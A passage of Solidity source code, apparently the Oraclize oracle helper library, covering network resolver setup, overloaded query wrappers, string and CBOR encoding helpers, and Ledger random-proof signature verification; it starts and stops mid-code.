function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
/*
End solidity-cborutils
*/
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof; // Silence compiler warnings
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
// the following variables can be relaxed
// check relaxed random contract under ethereum-examples repo
// for an idea on how to override and replace comit hash vars
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
